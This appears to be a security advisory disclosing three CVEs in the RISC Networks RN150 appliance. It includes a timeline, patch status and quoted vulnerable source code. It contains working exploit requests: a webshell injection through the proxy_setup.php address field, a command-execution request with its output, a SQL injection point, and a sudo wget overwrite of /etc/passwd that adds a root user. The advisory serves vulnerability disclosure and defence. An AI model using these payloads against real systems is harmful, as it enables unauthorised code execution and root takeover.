RISC Networks (now Flexera)
RISC Networks RN150 (Revision 27 2017-08-03)
The RISC Networks RN150, a virtual appliance deployed for asset discovery and validation, is vulnerable to multiple critical and high severity issues. These issues can allow an unauthenticated attacker to execute arbitrary code on the device, perform SQL queries against the backend database, and escalate their privileges to root. The specific issues are highlighted below.
- Unauthenticated Arbitrary File Write
- Unauthenticated SQL Injection
- Privilege Escalation
- RISC Networks pushed RN150 Image Version 40 on 2019-09-05 to all appliances connected to their NOC. Any customers concerned about not having received the patch can open a ticket at [email protected] to confirm the status of their appliance. Atredis Partners has not validated the changes in Image Version 40.
These issues were found by Justin Kennedy of Atredis Partners
- CVE-2019-18787
- CVE-2019-18788
- CVE-2019-18789
- 2019-08-09: Atredis Partners provides a copy of this advisory to the Flexera PSIRT team
- 2019-09-05: RISC Networks deploys a patch to all NOC-connected RN150 devices in Image Version 40.
- 2019-09-23: Atredis Partners provides a copy of this advisory to the CERT/CC team (VU#403901)
- 2019-11-06: Atredis Partners publishes this advisory
The RISC Networks RN150 allows an unauthenticated user to make requests to the proxy_setup.php
file which is used for enabling, disabling, and configuring system-wide proxy settings for the appliance. This allows an unauthenticated attacker to write to the filesystem and gain arbitrary code execution.
<?php
require_once 'util.php';
$operation = 'modify';
if (isset($_POST['operation']) and ($_POST['operation'] != "")) {
$operation = $_POST['operation'];
}
// if we are passed a form where ipaddress is not populated, interpret this as a removal operation
if ((isset($_POST['address'])) and ($_POST['address'] == "")) {
$operation = 'disable';
}
<snip>
$cred = array(
"address" => $_POST['address'],
"httpport" => $_POST['httpport'],
"httpsport" => $_POST['httpsport'],
"authenticate" => $authenticate,
"ntlm" => $ntlm,
"username" => $username,
"password" => $password,
"enabled" => 1
);
if ($operation == 'enable') {
$result = enableProxy($cred);
}
The source above takes in an address
, an httpport
, and an httpsport
. If the $operation
variable is set to enable
it then passes the proxy configuration values to the enableProxy
function located in the util.php
file:
function enableProxy($cred) {
if (!isset($cred['username']) or ($cred['username'] == '')) {
$cred['username'] = null;
}
if (!isset($cred['password']) or ($cred['password'] == '')) {
$cred['password'] = null;
}
$query = "insert into proxy (address,httpport,httpsport,authenticate,ntlm,username,password,enabled) values (?,?,?,?,?,?,?,?)";
$conn = connectDB2();
$stmt = mysqli_prepare($conn,$query);
mysqli_stmt_bind_param($stmt,"siiiissi",$cred['address'],$cred['httpport'],$cred['httpsport'],$cred['authenticate'],$cred['ntlm'],$cred['username'],$cred['password'],$cred['enabled']);
mysqli_stmt_execute($stmt);
$proxyid = mysqli_insert_id($conn);
mysqli_close($conn);
$cmd = "sudo ./shell/enableProxy.pl 'enable $proxyid'";
logAction("enableProxy(): $cmd");
$res = trim(shell_exec($cmd));
logAction("enableProxy(): $res");
return $res;
}
The enableProxy
function takes in the proxy configuration values, stores them in the backend database associated with a proxyid
, and then calls the external Perl script ./shell/enableProxy.pl
passing the $proxyid
.
sub enable_proxy {
my $proxyid = shift;
my $db = riscUtility::getDBH('risc_discovery',1);
my $config = $db->selectrow_hashref("select * from proxy where id = $proxyid and enabled = 1");
<snip>
$httpproxy = "http://$config->{'address'}:$config->{'httpport'}";
$httpsproxy = "https://$config->{'address'}:$config->{'httpsport'}";
$HTTPPROXY = $httpproxy;
$HTTPSPROXY = $httpsproxy;
<snip>
## open /etc/riscenvironment for writing, sourced by /etc/profile
my $fh;
open($fh,">>","/etc/riscenvironment");
print $fh "export http_proxy=\"$httpproxy\"\n";
print $fh "export https_proxy=\"$httpsproxy\"\n";
print $fh "export HTTP_PROXY=\"$HTTPPROXY\"\n";
print $fh "export HTTPS_PROXY=\"$HTTPSPROXY\"\n";
print $fh "export HTTPS_PROXY_USERNAME=\"$HTTPSUSER\"\n";
print $fh "export HTTPS_PROXY_PASSWORD=\"$HTTPSPASS\"\n";
close($fh);
## open /etc/environment for writing, used by cron jobs
open($fh,">>","/etc/environment");
print $fh "http_proxy=\"$httpproxy\"\n";
print $fh "https_proxy=\"$httpsproxy\"\n";
print $fh "HTTP_PROXY=\"$HTTPPROXY\"\n";
print $fh "HTTPS_PROXY=\"$HTTPSPROXY\"\n";
print $fh "HTTPS_PROXY_USERNAME=\"$HTTPSUSER\"\n";
print $fh "HTTPS_PROXY_PASSWORD=\"$HTTPSPASS\"\n";
close($fh);
## open /srv/httpd/htdocs/proxy-config.php for writing, used by PHP
open($fh,">>","/srv/httpd/htdocs/proxy-config.php");
print $fh "<?php\n";
print $fh "\tputenv('http_proxy=$httpproxy');\n";
print $fh "\tputenv('https_proxy=$httpsproxy');\n";
close($fh);
The code above from the enableProxy.pl
script queries the database for the configuration values associated with the supplied $proxyid
and then writes these values to the files /etc/riscenvironment
, /etc/environment
, and /srv/httpd/htdocs/proxy-config.php
. At no point do these values get sanitized, allowing for writing arbitrary content:
Write Webshell:
POST /proxy_setup.php HTTP/1.1
Host: 192.168.0.77
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
operation=enable&address=127.0.0.1');system($_GET["atredis"]);//&httpport=80&httpsport=443
Execute Code:
GET /proxy-config.php?atredis=id HTTP/1.1
Host: 192.168.0.77
Connection: close
Content-Length: 2
Response:
HTTP/1.1 200 OK
Date: Wed, 10 Jul 2019 11:49:27 GMT
Server: Apache
Content-Length: 96
Connection: close
Content-Type: text/html; charset=UTF-8
uid=48(apache) gid=48(apache) groups=48(apache)
uid=48(apache) gid=48(apache) groups=48(apache)
The webshell can be removed by calling proxy_setup.php
with the operation
value set to disable
.
Remove proxy-config.php
file:
POST /proxy_setup.php HTTP/1.1
Host: 192.168.0.77
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
operation=disable
Response:
HTTP/1.1 200 OK
Date: Wed, 10 Jul 2019 11:53:09 GMT
Server: Apache
Set-Cookie: PHPSESSID=v9crifccdg6vl0u306gv1okcd0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 40
Connection: close
Content-Type: text/html; charset=UTF-8
Successfully removed proxy configuration
The file write to /etc/riscenvironment
can also be used to gain remote access when a user logs into the appliance because the /etc/profile
file contains the following:
if [ -e /etc/riscenvironment ];then
source /etc/riscenvironment
fi
The RISC Networks RN150 allows an unauthenticated user to make requests to the dashboardconfirm.php
file. This allows for an unauthenticated attacker to perform arbitrary SQL queries on the backend MySQL database.
<?php
session_start();
require_once 'util.php';
foreach($_GET as $key=>$val){
urldecode($val);
}
clean_post_input($_GET);
// print $_GET['applianceStatus'];
if (isset($_GET['inventory'])) {
setUpdatingInventory($_GET['inventory']);
exit;
}
The code above shows that the inventory
parameter is processed via a GET
request to the appliance. The value of all GET
requests are passed through the clean_post_input
function which can be found in util.php
:
/*
* takes an array of values(such as post array) and cleans each value
*
* @param array $post
*
* @return array clean $post
*/
function clean_post_input($post){
foreach ($post as $key => $val){
//urldecode(clean_input($val));
clean_input($val);
}
return $post;
}
This function runs each parameter value through the clean_input
function also found in util.php
:
* Clean Input to prevent xss
*
* @param string $input
*
* @return string clean $input
*/
function clean_input($input) {
$input = htmlspecialchars($input, ENT_COMPAT, "UTF-8");
$input = str_ireplace("&", "&", $input);
return $input;
}
The clean_input
function above runs the values through the built-in PHP function htmlspecialchars
; however, this function does not guard against SQL injection attacks.
Going back to the code in dashboardconfirm.php
, $_GET["inventory"]
is passed to setUpdatingInventory
which can be found in util.php
:
function setUpdatingInventory($iStatus) {
$query = "update discotype set status = $iStatus";
$conn = connectDB2();
$result = mysqli_query($conn, $query);
if(!$result) {
risc_debugger();
risc_db_issue_reporting($conn,'discotype');
}
mysqli_close($conn);
}
The code above shows that the input passed to the setUpdatingInventory
function is used directly without sanitization in the SQL query, resulting in a SQL injection vulnerability.
The RISC Networks RN150 uses the following sudo
rules for the apache
user, allowing for privilege escalation from the apache
user to the root
user.
User apache may run the following commands on this host:
(root) NOPASSWD: /sbin/dhclient, (root) /sbin/ifconfig, (root) /sbin/ip,
(root) /sbin/ethtool, (root) /usr/bin/wget, (root) /sbin/arp, (root)
/bin/traceroute, (root) /sbin/service, (root) /usr/bin/gpg, (root)
/srv/httpd/htdocs/shell/testsyncnode.pl, (root)
/srv/httpd/htdocs/shell/connectToPod.pl, (root)
/srv/httpd/htdocs/shell/setPort.pl, (root)
/srv/httpd/htdocs/shell/advDebugging.pl, (root)
/srv/httpd/htdocs/shell/testGenSrvSSH.pl, (root)
/srv/httpd/htdocs/shell/setKeyPermissions.sh, (root)
/srv/httpd/htdocs/shell/enableProxy.pl, (root)
/srv/httpd/htdocs/shell/remap-newassessment.pl
The /usr/bin/wget
command when run in a privileged context can be used to overwrite files using the --output-document
(-O
) argument that can result in privilege escalation. One such method is to overwrite the /etc/passwd
file with a modified version that includes a new user with uid
and gid
set to 0
:
atredis::0:0::/root:/bin/bash
Once written, the apache
user can then su
to the newly created user:
bash-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.1$ su atredis
[email protected]:[/srv/httpd/htdocs]:$